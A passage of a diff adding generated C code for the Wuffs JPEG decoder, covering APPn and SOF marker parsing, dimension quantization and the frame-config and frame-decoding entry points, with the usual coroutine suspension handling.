(WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ v_c32 = t_2; ++ } ++ if (v_c32 != 1651467329u) { ++ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 8u)); ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_c32 = t_3; ++ } ++ if ((255u & v_c32) != 101u) { ++ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 4u)); ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 24) { ++ t_4 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ } ++ } ++ v_c32 = t_4; ++ } ++ if ((v_c32 >> 24u) == 0u) { ++ self->private_impl.f_is_adobe = 1u; ++ } else { ++ self->private_impl.f_is_adobe = 2u; ++ } ++ } ++ } ++ } while (0); ++ self->private_data.s_decode_appn.scratch = self->private_impl.f_payload_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_decode_appn.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_appn.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_appn.scratch; ++ self->private_impl.f_payload_length = 0u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_appn = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_appn = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_sof ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sof( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_comp_h = 0; ++ uint8_t v_comp_v = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ bool v_has_h24 = false; ++ bool v_has_h3 = false; ++ bool v_has_v24 = false; ++ bool v_has_v3 = false; ++ uint32_t v_upper_bound = 0; ++ uint64_t v_wh0 = 0; ++ uint64_t v_wh1 = 0; ++ uint64_t v_wh2 = 0; ++ uint64_t v_wh3 = 0; ++ uint64_t v_progressive = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_sof; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_decode_sof.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_payload_length < 6u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 6u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 == 8u) { ++ } else if (v_c8 == 12u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_12_bits); ++ goto exit; ++ } else if (v_c8 == 16u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_16_bits); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_1 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_sof.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_sof.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 8) { ++ t_1 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } ++ } ++ self->private_impl.f_height = t_1; ++ } ++ if (self->private_impl.f_height == 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_implicit_height); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_sof.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_sof.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 8) { ++ t_2 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ self->private_impl.f_width = t_2; ++ } ++ if (self->private_impl.f_width == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if ((v_c8 == 0u) || (v_c8 > 4u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } else if (v_c8 == 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_color_model); ++ goto exit; ++ } ++ self->private_impl.f_num_components = ((uint32_t)(v_c8)); ++ if (self->private_impl.f_payload_length != (3u * self->private_impl.f_num_components)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_components) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ self->private_impl.f_components_c[v_i] = t_4; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ v_comp_h = ((uint8_t)(v_c8 >> 4u)); ++ v_comp_v = ((uint8_t)(v_c8 & 15u)); ++ if ((v_comp_h == 0u) || ++ (v_comp_h > 4u) || ++ (v_comp_v == 0u) || ++ (v_comp_v > 4u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_components_h[v_i] = v_comp_h; ++ if (self->private_impl.f_max_incl_components_h < self->private_impl.f_components_h[v_i]) { ++ self->private_impl.f_max_incl_components_h = self->private_impl.f_components_h[v_i]; ++ } ++ self->private_impl.f_components_v[v_i] = v_comp_v; ++ if (self->private_impl.f_max_incl_components_v < self->private_impl.f_components_v[v_i]) { ++ self->private_impl.f_max_incl_components_v = self->private_impl.f_components_v[v_i]; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 >= 4u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ self->private_impl.f_components_tq[v_i] = v_c8; ++ v_j = 0u; ++ while (v_j < v_i) { ++ if (self->private_impl.f_components_c[v_j] == self->private_impl.f_components_c[v_i]) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; ++ } ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ if (self->private_impl.f_num_components == 1u) { ++ self->private_impl.f_max_incl_components_h = 1u; ++ self->private_impl.f_max_incl_components_v = 1u; ++ self->private_impl.f_components_h[0u] = 1u; ++ self->private_impl.f_components_v[0u] = 1u; ++ } else { ++ v_has_h24 = false; ++ v_has_h3 = false; ++ v_has_v24 = false; ++ v_has_v3 = false; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_components) { ++ v_has_h24 = (v_has_h24 || (self->private_impl.f_components_h[v_i] == 2u) || (self->private_impl.f_components_h[v_i] == 4u)); ++ v_has_h3 = (v_has_h3 || (self->private_impl.f_components_h[v_i] == 3u)); ++ v_has_v24 = (v_has_v24 || (self->private_impl.f_components_v[v_i] == 2u) || (self->private_impl.f_components_v[v_i] == 4u)); ++ v_has_v3 = (v_has_v3 || (self->private_impl.f_components_v[v_i] == 3u)); ++ v_i += 1u; ++ } ++ if ((v_has_h24 && v_has_h3) || (v_has_v24 && v_has_v3)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_fractional_sampling); ++ goto exit; ++ } ++ if (self->private_impl.f_num_components == 4u) { ++ self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe < 2u); ++ } else { ++ if (self->private_impl.f_is_jfif) { ++ self->private_impl.f_is_rgb_or_cmyk = false; ++ } else if (self->private_impl.f_is_adobe > 0u) { ++ self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe == 1u); ++ } else { ++ self->private_impl.f_is_rgb_or_cmyk = ((self->private_impl.f_components_c[0u] == 82u) && (self->private_impl.f_components_c[1u] == 71u) && (self->private_impl.f_components_c[2u] == 66u)); ++ } ++ } ++ } ++ self->private_impl.f_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, 1u, self->private_impl.f_max_incl_components_h); ++ self->private_impl.f_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, 1u, self->private_impl.f_max_incl_components_v); ++ v_upper_bound = 65544u; ++ self->private_impl.f_components_workbuf_widths[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[0u])))); ++ self->private_impl.f_components_workbuf_widths[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[1u])))); ++ self->private_impl.f_components_workbuf_widths[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[2u])))); ++ self->private_impl.f_components_workbuf_widths[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[3u])))); ++ self->private_impl.f_components_workbuf_heights[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[0u])))); ++ self->private_impl.f_components_workbuf_heights[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[1u])))); ++ self->private_impl.f_components_workbuf_heights[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[2u])))); ++ self->private_impl.f_components_workbuf_heights[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[3u])))); ++ v_wh0 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[0u]))); ++ v_wh1 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[1u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[1u]))); ++ v_wh2 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[2u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[2u]))); ++ v_wh3 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[3u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[3u]))); ++ v_progressive = 0u; ++ if (self->private_impl.f_sof_marker >= 194u) { ++ v_progressive = 2u; ++ v_i = 0u; ++ while (v_i < 4u) { ++ v_j = 0u; ++ while (v_j < 10u) { ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ } ++ self->private_impl.f_components_workbuf_offsets[0u] = 0u; ++ self->private_impl.f_components_workbuf_offsets[1u] = (self->private_impl.f_components_workbuf_offsets[0u] + v_wh0); ++ self->private_impl.f_components_workbuf_offsets[2u] = (self->private_impl.f_components_workbuf_offsets[1u] + v_wh1); ++ self->private_impl.f_components_workbuf_offsets[3u] = (self->private_impl.f_components_workbuf_offsets[2u] + v_wh2); ++ self->private_impl.f_components_workbuf_offsets[4u] = (self->private_impl.f_components_workbuf_offsets[3u] + v_wh3); ++ self->private_impl.f_components_workbuf_offsets[5u] = (self->private_impl.f_components_workbuf_offsets[4u] + (v_wh0 * v_progressive)); ++ self->private_impl.f_components_workbuf_offsets[6u] = (self->private_impl.f_components_workbuf_offsets[5u] + (v_wh1 * v_progressive)); ++ self->private_impl.f_components_workbuf_offsets[7u] = (self->private_impl.f_components_workbuf_offsets[6u] + (v_wh2 * v_progressive)); ++ self->private_impl.f_components_workbuf_offsets[8u] = (self->private_impl.f_components_workbuf_offsets[7u] + (v_wh3 * v_progressive)); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_sof = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_sof = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_sof.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.quantize_dimension ++ ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__quantize_dimension( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_width, ++ uint8_t a_h, ++ uint8_t a_max_incl_h) { ++ uint32_t v_ratio = 0; ++ ++ v_ratio = 0u; ++ if (a_h > 0u) { ++ v_ratio = ((uint32_t)(((uint8_t)(a_max_incl_h / a_h)))); ++ } ++ if (v_ratio == 1u) { ++ return ((a_width + 7u) / 8u); ++ } else if (v_ratio == 2u) { ++ return ((a_width + 15u) / 16u); ++ } else if (v_ratio == 3u) { ++ return ((a_width + 23u) / 24u); ++ } ++ return ((a_width + 31u) / 32u); ++} ++ ++// -------- func jpeg.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__decode_frame_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_frame_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_jpeg__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ true, ++ false, ++ 4278190080u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__decode_frame( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_ddf_status = wuffs_base__make_status(NULL); ++ wuffs_base__status v_swizzle_status = wuffs_base__make_status(NULL); ++ uint32_t v_scan_count = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ v_scan_count = self->private_impl.f_scan_count; ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_ddf_status = t_0; ++ } ++ if ((v_ddf_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ v_ddf_status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ } ++ if ( ! self->private_impl.f_swizzle_immediately && (wuffs_base__status__is_error(&v_ddf_status) || (v_scan_count < self->private_impl.f_scan_count))) { ++ if (self->private_impl.f_sof_marker >= 194u) { ++ wuffs_jpeg__decoder__apply_progressive_idct(self, a_workbuf); ++ } ++ if (self->private_impl.f_num_components == 1u) { ++ v_swizzle_status = wuffs_jpeg__decoder__swizzle_gray(self, ++ a_dst, ++ a_workbuf, ++ 0u, ++ 4294967295u, ++ 0u, ++ 4294967295u, ++ ((uint64_t)(self->private_impl.f_components_workbuf_widths[0u]))); ++ } else { ++ v_swizzle_status = wuffs_jpeg__decoder__swizzle_colorful(self, ++ a_dst, ++ a_workbuf, ++ 0u, ++ 4294967295u, ++ 0u, ++ 4294967295u); ++ } ++ if (wuffs_base__status__is_error(&v_ddf_status)) { ++ status = v_ddf_status; ++ goto exit; ++ } else if (wuffs_base__status__is_error(&v_swizzle_status)) { ++ status = v_swizzle_status; ++ goto exit; ++ } ++ } ++ status = v_ddf_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_frame( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_pixfmt = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint8_t v_c8 = 0; ++ uint8_t v_marker = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_marker = self->private_data.s_do_decode_frame.v_marker; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = 